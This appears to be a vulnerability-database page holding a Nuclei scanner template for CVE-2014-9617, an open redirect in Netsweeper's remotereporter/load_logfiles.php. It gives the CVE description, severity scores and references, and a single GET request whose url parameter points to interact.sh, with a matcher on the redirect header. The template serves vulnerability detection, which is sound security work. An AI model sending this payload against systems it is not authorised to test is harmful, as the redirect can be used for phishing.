CVE-2014-9617: Netsweeper 3.0.6 - Open Redirection

2025-08-01 Netsweeper 3.0.6 PoC Public

Description

An open redirect vulnerability in remotereporter/load_logfiles.php in Netsweeper before 4.0.5 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.

PoC

id: CVE-2014-9617

info:
  name: Netsweeper 3.0.6 - Open Redirection
  author: daffainfo
  severity: medium
  description: An open redirect vulnerability in remotereporter/load_logfiles.php in Netsweeper before 4.0.5 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks or the download of malware.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the open redirection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9617
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9617
    cwe-id: CWE-601
    epss-score: 0.08013
    epss-percentile: 0.9447
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,redirect,packetstorm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4b0a004830460221008f8fcc6d924888cba8f1121c2e271e0e17a9a7761f2347c2396ffe0d79f81da9022100fe0f72cd20c5d26436dff67b4828fb3aab712c373cb76c247619a60821d06269:922c64590222798bb761d5b6d8e72950

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